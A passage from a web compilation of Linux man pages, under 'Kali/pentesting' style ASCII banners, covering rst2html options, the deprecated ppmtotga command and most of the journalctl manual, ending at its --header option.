You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2098 - Linux cli command rst2html

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2html and provides detailed information about the command rst2html, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2html.

NAME 🖥️ rst2html 🖥️

convert reST documents to XHTML

SYNOPSIS

rst2html [options] [<source> [<destination>]]

DESCRIPTION

Generate HTML documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/user/html.html#html> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

HTML Writer Options

–template=*****<file>*
Template file. (UTF-8 encoded, default: “/usr/share/docutils/writers/html4css1/template.txt”)

–stylesheet=*****<URL[,URL,…]>*
Comma separated list of stylesheet URLs. Overrides previous –stylesheet and –stylesheet-path settings.

–stylesheet-path=*****<file[,file,…]>*
Comma separated list of stylesheet paths. Relative paths are expanded if a matching file is found in the –stylesheet-dirs. With –link-stylesheet, the path is rewritten relative to the output HTML file. (default: “html4css1.css”)

–stylesheet-dirs=*****<dir[,dir,…]>*
Comma-separated list of directories where stylesheets are found. Used by –stylesheet-path when expanding relative path arguments. (default: “.,/usr/share/docut ils/writers/html4css1,/usr/share/docutils/writers/html 5_polyglot”)

–embed-stylesheet
Embed the stylesheet(s) in the output HTML file. The stylesheet files must be accessible during processing. (default)

–link-stylesheet
Link to the stylesheet(s) in the output HTML file.

–initial-header-level=*****<level>*
Specify the initial header level. Does not affect document title & subtitle (see –no-doc-title). (default: 1 for “<h1>”)

–footnote-references=*****<format>*
Format for footnote references: one of “superscript” or “brackets”. (default: “brackets”)

–attribution=*****<format>*
Format for block quote attributions: one of “dash” (em-dash prefix), “parentheses”/“parens”, or “none”. (default: “dash”)

–compact-lists
Remove extra vertical whitespace between items of “simple” bullet lists and enumerated lists. (default)

–no-compact-lists
Disable compact simple bullet and enumerated lists.

–compact-field-lists
Remove extra vertical whitespace between items of simple field lists. (default)

–no-compact-field-lists
Disable compact simple field lists.

–table-style=****TABLE_STYLE
Added to standard table classes. Defined styles: borderless, booktabs, align-left, align-center, align- right, colwidths-auto, colwidths-grid.

–math-output=****MATH_OUTPUT
Math output format (one of “MathML”, “HTML”, “MathJax”, or “LaTeX”) and option(s). (default: “HTML math.css”)

–xml-declaration
Prepend an XML declaration (default).

–no-xml-declaration
Omit the XML declaration.

–cloak-email-addresses
Obfuscate email addresses to confuse harvesters while still keeping email links usable with standards- compliant browsers.

HTML4 Writer Options

–field-name-limit=*****<level>*
Specify the maximum width (in characters) for one- column field names. Longer field names will span an entire row of the table used to render the field list. Default is 14 characters. Use 0 for “no limit”.

–option-limit=*****<level>*
Specify the maximum width (in characters) for options in option lists. Longer options will span an entire row of the table used to render the option list. Default is 14 characters. Use 0 for “no limit”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2099 - Linux cli command ppmtotga

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtotga and provides detailed information about the command ppmtotga, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtotga.

.

NAME 🖥️ ppmtotga 🖥️

replaced by pamtotga

DESCRIPTION

This program is part of Netpbm(1) .

ppmtotga was replaced in Netpbm 10.6 (July 2002) by pamtotga(1) .

pamtotga is backward compatible with ppmtotga, but also recognizes PAM input, including that with a transparency channel.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtotga.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2100 - Linux cli command journalctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command journalctl and provides detailed information about the command journalctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the journalctl.

NAME 🖥️ journalctl 🖥️

Print log entries from the systemd journal

SYNOPSIS

journalctl [OPTIONS…] [MATCHES…]

DESCRIPTION

journalctl is used to print the log entries stored in the journal by systemd-journald.service(8) and systemd-journal-remote.service(8).

If called without parameters, it will show the contents of the journal accessible to the calling user, starting with the oldest entry collected.

If one or more match arguments are passed, the output is filtered accordingly. A match is in the format “FIELD=VALUE”, e.g. “_SYSTEMD_UNIT=httpd.service”, referring to the components of a structured journal entry. See systemd.journal-fields(7) for a list of well-known fields. If multiple matches are specified matching different fields, the log entries are filtered by both, i.e. the resulting output will show only entries matching all the specified matches of this kind. If two matches apply to the same field, then they are automatically matched as alternatives, i.e. the resulting output will show entries matching any of the specified matches for the same field. Finally, the character “+” may appear as a separate word between other terms on the command line. This causes all matches before and after to be combined in a disjunction (i.e. logical OR).

It is also possible to filter the entries by specifying an absolute file path as an argument. The file path may be a file or a symbolic link and the file must exist at the time of the query. If a file path refers to an executable binary, an “_EXE=” match for the canonicalized binary path is added to the query. If a file path refers to an executable script, a “_COMM=” match for the script name is added to the query. If a file path refers to a device node, “_KERNEL_DEVICE=” matches for the kernel name of the device and for each of its ancestor devices is added to the query. Symbolic links are dereferenced, kernel names are synthesized, and parent devices are identified from the environment at the time of the query. In general, a device node is the best proxy for an actual device, as log entries do not usually contain fields that identify an actual device. For the resulting log entries to be correct for the actual device, the relevant parts of the environment at the time the entry was logged, in particular the actual device corresponding to the device node, must have been the same as those at the time of the query. Because device nodes generally change their corresponding devices across reboots, specifying a device node path causes the resulting entries to be restricted to those from the current boot.

Additional constraints may be added using options –boot, –unit=, etc., to further limit what entries will be shown (logical AND).

Output is interleaved from all accessible journal files, whether they are rotated or currently being written, and regardless of whether they belong to the system itself or are accessible user journals. The –header option can be used to identify which files are being shown.

The set of journal files which will be used can be modified using the –user, –system, –directory=, and –file= options, see below.

All users are granted access to their private per-user journals. However, by default, only root and users who are members of a few special groups are granted access to the system journal and the journals of other users. Members of the groups “systemd-journal”, “adm”, and “wheel” can read all journal files. Note that the two latter groups traditionally have additional privileges specified by the distribution. Members of the “wheel” group can often perform administrative tasks.

The output is paged through less by default, and long lines are “truncated” to screen width. The hidden part can be viewed by using the left-arrow and right-arrow keys. Paging can be disabled; see the –no-pager option and the “Environment” section below.

When outputting to a tty, lines are colored according to priority: lines of level ERROR and higher are colored red; lines of level WARNING are colored yellow; lines of level NOTICE are highlighted; lines of level INFO are displayed normally; lines of level DEBUG are colored grey.

To write entries to the journal, a few methods may be used. In general, output from systemd units is automatically connected to the journal, see systemd-journald.service(8). In addition, systemd-cat(1) may be used to send messages to the journal directly.

SOURCE OPTIONS

The following options control where to read journal records from:

–system, –user

Show messages from system services and the kernel (with –system). Show messages from service of current user (with –user). If neither is specified, show all messages that the user can see.

The –user option affects how –unit= arguments are treated. See –unit=.

Note that –user only works if persistent logging is enabled, via the Storage= setting in journald.conf(5).

Added in version 205.

-M, –machine=

Show messages from a running, local container. Specify a container name to connect to.

Added in version 209.

-m, –merge

Show entries interleaved from all available journals, including remote ones.

Added in version 190.

-D DIR, **–directory=**DIR

Takes a directory path as argument. If specified, journalctl will operate on the specified journal directory DIR instead of the default runtime and system journal paths.

Added in version 187.

-i GLOB, **–file=**GLOB

Takes a file glob as an argument. If specified, journalctl will operate on the specified journal files matching GLOB instead of the default runtime and system journal paths. May be specified multiple times, in which case files will be suitably interleaved.

Added in version 205.

**–root=**ROOT

Takes a directory path as an argument. If specified, journalctl will operate on journal directories and catalog file hierarchy underneath the specified directory instead of the root directory (e.g. –update-catalog will create ROOT/var/lib/systemd/catalog/database, and journal files under ROOT/run/journal/ or ROOT/var/log/journal/ will be displayed).

Added in version 201.

**–image=**IMAGE

Takes a path to a disk image file or block device node. If specified, journalctl will operate on the file system in the indicated disk image. This option is similar to –root=, but operates on file systems stored in disk images or block devices, thus providing an easy way to extract log data from disk images. The disk image should either contain just a file system or a set of file systems within a GPT partition table, following the Discoverable Partitions Specification[1]. For further information on supported disk images, see systemd-nspawn(1)s switch of the same name.

Added in version 247.

**–image-policy=**policy

Takes an image policy string as argument, as per systemd.image-policy(7). The policy is enforced when operating on the disk image specified via –image=, see above. If not specified defaults to the “*” policy, i.e. all recognized file systems in the image are used.

**–namespace=**NAMESPACE

Takes a journal namespace identifier string as argument. If not specified the data collected by the default namespace is shown. If specified shows the log data of the specified namespace instead. If the namespace is specified as “*” data from all namespaces is shown, interleaved. If the namespace identifier is prefixed with “+” data from the specified namespace and the default namespace is shown, interleaved, but no other. For details about journal namespaces see systemd-journald.service(8).

Added in version 245.

FILTERING OPTIONS

The following options control how to filter journal records:

-S, –since=, -U, –until=

Start showing entries on or newer than the specified date, or on or older than the specified date, respectively. Date specifications should be of the format “2012-10-30 18:17:16”. If the time part is omitted, “00:00:00” is assumed. If only the seconds component is omitted, “:00” is assumed. If the date component is omitted, the current day is assumed. Alternatively the strings “yesterday”, “today”, “tomorrow” are understood, which refer to 00:00:00 of the day before the current day, the current day, or the day after the current day, respectively. “now” refers to the current time. Finally, relative times may be specified, prefixed with “-” or “+”, referring to times before or after the current time, respectively. For complete time and date specification, see systemd.time(7). Note that –output=short-full prints timestamps that follow precisely this format.

Added in version 195.

-c, –cursor=

Start showing entries from the location in the journal specified by the passed cursor.

Added in version 193.

–after-cursor=

Start showing entries from the location in the journal after the location specified by the passed cursor. The cursor is shown when the –show-cursor option is used.

Added in version 206.

**–cursor-file=**FILE

If FILE exists and contains a cursor, start showing entries after this location. Otherwise show entries according to the other given options. At the end, write the cursor of the last entry to FILE. Use this option to continually read the journal by sequentially calling journalctl.

Added in version 242.

-b **[[ID][±offset]|all], **–boot[=[ID][±offset]|all]

Show messages from a specific boot. This will add a match for “_BOOT_ID=”.

The argument may be empty, in which case logs for the current boot will be shown.

If the boot ID is omitted, a positive offset will look up the boots starting from the beginning of the journal, and an equal-or-less-than zero offset will look up boots starting from the end of the journal. Thus, 1 means the first boot found in the journal in chronological order, 2 the second and so on; while -0 is the last boot, -1 the boot before last, and so on. An empty offset is equivalent to specifying -0, except when the current boot is not the last boot (e.g. because –directory= was specified to look at logs from a different machine).

If the 32-character ID is specified, it may optionally be followed by offset which identifies the boot relative to the one given by boot ID. Negative values mean earlier boots and positive values mean later boots. If offset is not specified, a value of zero is assumed, and the logs for the boot given by ID are shown.

The special argument all can be used to negate the effect of an earlier use of -b.

Added in version 186.

-u, **–unit=UNIT|**PATTERN

Show messages for the specified systemd unit UNIT (such as a service unit), or for any of the units matched by PATTERN. If a pattern is specified, a list of unit names found in the journal is compared with the specified pattern and all that match are used. For each unit name, a match is added for messages from the unit ("_SYSTEMD_UNIT=UNIT"), along with additional matches for messages from systemd and messages about coredumps for the specified unit. A match is also added for “_SYSTEMD_SLICE=UNIT”, such that if the provided UNIT is a systemd.slice(5) unit, all logs of children of the slice will be shown.

With –user, all –unit= arguments will be converted to match user messages as if specified with –user-unit=.

This parameter can be specified multiple times.

Added in version 195.

–user-unit=

Show messages for the specified user session unit. This will add a match for messages from the unit ("_SYSTEMD_USER_UNIT=" and “_UID=”) and additional matches for messages from session systemd and messages about coredumps for the specified unit. A match is also added for “_SYSTEMD_USER_SLICE=UNIT”, such that if the provided UNIT is a systemd.slice(5) unit, all logs of children of the unit will be shown.

This parameter can be specified multiple times.

Added in version 198.

-t, **–identifier=**SYSLOG_IDENTIFIER

Show messages for the specified syslog identifier SYSLOG_IDENTIFIER.

This parameter can be specified multiple times.

Added in version 217.

-T, **–exclude-identifier=**SYSLOG_IDENTIFIER

Exclude messages for the specified syslog identifier SYSLOG_IDENTIFIER.

This parameter can be specified multiple times.

Added in version 256.

-p, –priority=

Filter output by message priorities or priority ranges. Takes either a single numeric or textual log level (i.e. between 0/“emerg” and 7/“debug”), or a range of numeric/text log levels in the form FROM..TO. The log levels are the usual syslog log levels as documented in syslog(3), i.e. “emerg” (0), “alert” (1), “crit” (2), “err” (3), “warning” (4), “notice” (5), “info” (6), “debug” (7). If a single log level is specified, all messages with this log level or a lower (hence more important) log level are shown. If a range is specified, all messages within the range are shown, including both the start and the end value of the range. This will add “PRIORITY=” matches for the specified priorities.

Added in version 188.

–facility=

Filter output by syslog facility. Takes a comma-separated list of numbers or facility names. The names are the usual syslog facilities as documented in syslog(3). –facility=help may be used to display a list of known facility names and exit.

Added in version 245.

-g, –grep=

Filter output to entries where the MESSAGE= field matches the specified regular expression. PERL-compatible regular expressions are used, see pcre2pattern(3) for a detailed description of the syntax.

If the pattern is all lowercase, matching is case insensitive. Otherwise, matching is case sensitive. This can be overridden with the –case-sensitive option, see below.

When used with –lines= (not prefixed with “+”), –reverse is implied.

Added in version 237.

–case-sensitive[=BOOLEAN]

Make pattern matching case sensitive or case insensitive.

Added in version 237.

-k, –dmesg

Show only kernel messages. This implies -b and adds the match “_TRANSPORT=kernel”.

Added in version 205.

OUTPUT OPTIONS

The following options control how journal records are printed:

-o, –output=

Controls the formatting of the journal entries that are shown. Takes one of the following options:

short

is the default and generates an output that is mostly identical to the formatting of classic syslog files, showing one line per journal entry.

Added in version 206.

short-full

is very similar, but shows timestamps in the format the –since= and –until= options accept. Unlike the timestamp information shown in short output mode this mode includes weekday, year and timezone information in the output, and is locale-independent.

Added in version 232.

short-iso

is very similar, but shows timestamps in the RFC 3339[2] profile of ISO 8601.

Added in version 206.

short-iso-precise

as for short-iso but includes full microsecond precision.

Added in version 234.

short-precise

is very similar, but shows classic syslog timestamps with full microsecond precision.

Added in version 207.

short-monotonic

is very similar, but shows monotonic timestamps instead of wallclock timestamps.

Added in version 206.

short-delta

as for short-monotonic but includes the time difference to the previous entry. Maybe unreliable time differences are marked by a “*”.

Added in version 252.

short-unix

is very similar, but shows seconds passed since January 1st 1970 UTC instead of wallclock timestamps (“UNIX time”). The time is shown with microsecond accuracy.

Added in version 230.

verbose

shows the full-structured entry items with all fields.

Added in version 206.

export

serializes the journal into a binary (but mostly text-based) stream suitable for backups and network transfer (see Journal Export Format[3] for more information). To import the binary stream back into native journald format use systemd-journal-remote(8).

Added in version 206.

json

formats entries as JSON objects, separated by newline characters (see Journal JSON Format[4] for more information). Field values are generally encoded as JSON strings, with three exceptions:

1.

Fields larger than 4096 bytes are encoded as null values. (This may be turned off by passing –all, but be aware that this may allocate overly long JSON objects.)

2.

Journal entries permit non-unique fields within the same log entry. JSON does not allow non-unique fields within objects. Due to this, if a non-unique field is encountered a JSON array is used as field value, listing all field values as elements.

3.

Fields containing non-printable or non-UTF8 bytes are encoded as arrays containing the raw bytes individually formatted as unsigned numbers.

Note that this encoding is reversible (with the exception of the size limit).

Added in version 206.

json-pretty

formats entries as JSON data structures, but formats them in multiple lines in order to make them more readable by humans.

Added in version 206.

json-sse

formats entries as JSON data structures, but wraps them in a format suitable for Server-Sent Events[5].

Added in version 206.

json-seq

formats entries as JSON data structures, but prefixes them with an ASCII Record Separator character (0x1E) and suffixes them with an ASCII Line Feed character (0x0A), in accordance with JavaScript Object Notation (JSON) Text Sequences[6] (“application/json-seq”).

Added in version 240.

cat

generates a very terse output, only showing the actual message of each journal entry with no metadata, not even a timestamp. If combined with the –output-fields= option will output the listed fields for each log record, instead of the message.

Added in version 206.

with-unit

similar to short-full, but prefixes the unit and user unit names instead of the traditional syslog identifier. Useful when using templated instances, as it will include the arguments in the unit names.

Added in version 239.

–truncate-newline

Truncate each log message at the first newline character on output, so that only the first line of each message is displayed.

Added in version 254.

–output-fields=

A comma separated list of the fields which should be included in the output. This has an effect only for the output modes which would normally show all fields (verbose, export, json, json-pretty, json-sse and json-seq), as well as on cat. For the former, the “__CURSOR”, “__REALTIME_TIMESTAMP”, “__MONOTONIC_TIMESTAMP”, and “_BOOT_ID” fields are always printed.

Added in version 236.

-n, –lines=

Show the most recent journal events and limit the number of events shown. The argument is a positive integer or “all” to disable the limit. Additionally, if the number is prefixed with “+”, the oldest journal events are used instead. The default value is 10 if no argument is given.

If –follow is used, this option is implied. When not prefixed with “+” and used with –grep=, –reverse is implied.

-r, –reverse

Reverse output so that the newest entries are displayed first.

Added in version 198.

–show-cursor

The cursor is shown after the last entry after two dashes:

– cursor: s=0639…

The format of the cursor is private and subject to change.

Added in version 209.

–utc

Express time in Coordinated Universal Time (UTC).

Added in version 217.

-x, –catalog

Augment log lines with explanation texts from the message catalog. This will add explanatory help texts to log messages in the output where this is available. These short help texts will explain the context of an error or log event, possible solutions, as well as pointers to support forums, developer documentation, and any other relevant manuals. Note that help texts are not available for all messages, but only for selected ones. For more information on the message catalog, see Journal Message Catalogs[7].

Note: when attaching journalctl output to bug reports, please do not use -x.

Added in version 196.

–no-hostname

Dont show the hostname field of log messages originating from the local host. This switch has an effect only on the short family of output modes (see above).

Note: this option does not remove occurrences of the hostname from log entries themselves, so it does not prevent the hostname from being visible in the logs.

Added in version 230.

–no-full, –full, -l

Ellipsize fields when they do not fit in available columns. The default is to show full fields, allowing them to wrap or be truncated by the pager, if one is used.

The old options -l/–full are not useful anymore, except to undo –no-full.

Added in version 196.

-a, –all

Show all fields in full, even if they include unprintable characters or are very long. By default, fields with unprintable characters are abbreviated as “blob data”. (Note that the pager may escape unprintable characters again.)

-f, –follow

Show only the most recent journal entries, and continuously print new entries as they are appended to the journal.

–no-tail

Show all stored output lines, even in follow mode. Undoes the effect of –lines=.

-q, –quiet

Suppresses all informational messages (i.e. “– Journal begins at …”, “– Reboot –”), any warning messages regarding inaccessible system journals when run as a normal user.

PAGER CONTROL OPTIONS

The following options control page support:

–no-pager

Do not pipe output into a pager.

-e, –pager-end

Immediately jump to the end of the journal inside the implied pager tool. This implies -n1000 to guarantee that the pager will not buffer logs of unbounded size. This may be overridden with an explicit -n with some other numeric value, while -nall will disable this cap. Note that this option is only supported for the less(1) pager.

Added in version 198.

FORWARD SECURE SEALING (FSS) OPTIONS

The following options may be used together with the –setup-keys command described below:

–interval=

Specifies the change interval for the sealing key when generating an FSS key pair with –setup-keys. Shorter intervals increase CPU consumption but shorten the time range of undetectable journal alterations. Defaults to 15min.

Added in version 189.

–verify-key=

Specifies the FSS verification key to use for the –verify operation.

Added in version 189.

–force

When –setup-keys is passed and Forward Secure Sealing (FSS) has already been configured, recreate FSS keys.

Added in version 206.

COMMANDS

The following commands are understood. If none is specified the default is to display journal records:

-N, –fields

Print all field names currently used in all entries of the journal.

Added in version 229.

-F, –field=

Print all possible data values the specified field can take in all entries of the journal.

Added in version 195.

–list-boots

Show a tabular list of boot numbers (relative to the current boot), their IDs, and the timestamps of the first and last message pertaining to the boot. When specified with **-n/–lines=[+]**N option, only the first (when the number prefixed with “+”) or the last (without prefix) N entries will be shown. When specified with -r/–reverse, the list will be shown in the reverse order.

Added in version 209.

–disk-usage

Shows the current disk usage of all journal files. This shows the sum of the disk usage of all archived and active journal files.

Added in version 190.

–vacuum-size=, –vacuum-time=, –vacuum-files=

–vacuum-size= removes the oldest archived journal files until the disk space they use falls below the specified size. Accepts the usual “K”, “M”, “G” and “T” suffixes (to the base of 1024).

–vacuum-time= removes archived journal files older than the specified timespan. Accepts the usual “s” (default), “m”, “h”, “days”, “weeks”, “months”, and “years” suffixes, see systemd.time(7) for details.

–vacuum-files= leaves only the specified number of separate journal files.

Note that running –vacuum-size= has only an indirect effect on the output shown by –disk-usage, as the latter includes active journal files, while the vacuuming operation only operates on archived journal files. Similarly, –vacuum-files= might not actually reduce the number of journal files to below the specified number, as it will not remove active journal files.

–vacuum-size=, –vacuum-time= and –vacuum-files= may be combined in a single invocation to enforce any combination of a size, a time and a number of files limit on the archived journal files. Specifying any of these three parameters as zero is equivalent to not enforcing the specific limit, and is thus redundant.

These three switches may also be combined with –rotate into one command. If so, all active files are rotated first, and the requested vacuuming operation is executed right after. The rotation has the effect that all currently active files are archived (and potentially new, empty journal files opened as replacement), and hence the vacuuming operation has the greatest effect as it can take all log data written so far into account.

Added in version 218.

–verify

Check the journal file for internal consistency. If the file has been generated with FSS enabled and the FSS verification key has been specified with –verify-key=, authenticity of the journal file is verified.

Added in version 189.

–sync

Asks the journal daemon to write all yet unwritten journal data to the backing file system and synchronize all journals. This call does not return until the synchronization operation is complete. This command guarantees that any log messages written before its invocation are safely stored on disk at the time it returns.

Added in version 228.

–relinquish-var

Asks the journal daemon for the reverse operation to –flush: if requested the daemon will write further log data to /run/log/journal/ and stops writing to /var/log/journal/. A subsequent call to –flush causes the log output to switch back to /var/log/journal/, see above.

Added in version 243.

–smart-relinquish-var

Similar to –relinquish-var, but executes no operation if the root file system and /var/log/journal/ reside on the same mount point. This operation is used during system shutdown in order to make the journal daemon stop writing data to /var/log/journal/ in case that directory is located on a mount point that needs to be unmounted.

Added in version 243.

–flush

Asks the journal daemon to flush any log data stored in /run/log/journal/ into /var/log/journal/, if persistent storage is enabled. This call does not return until the operation is complete. Note that this call is idempotent: the data is only flushed from /run/log/journal/ into /var/log/journal/ once during system runtime (but see –relinquish-var below), and this command exits cleanly without executing any operation if this has already happened. This command effectively guarantees that all data is flushed to /var/log/journal/ at the time it returns.

Added in version 217.

–rotate

Asks the journal daemon to rotate journal files. This call does not return until the rotation operation is complete. Journal file rotation has the effect that all currently active journal files are marked as archived and renamed, so that they are never written to in future. New (empty) journal files are then created in their place. This operation may be combined with –vacuum-size=, –vacuum-time= and –vacuum-file= into a single command, see above.

Added in version 227.

–header

Instead of showing journal contents, show internal header information of the journal fields accessed.

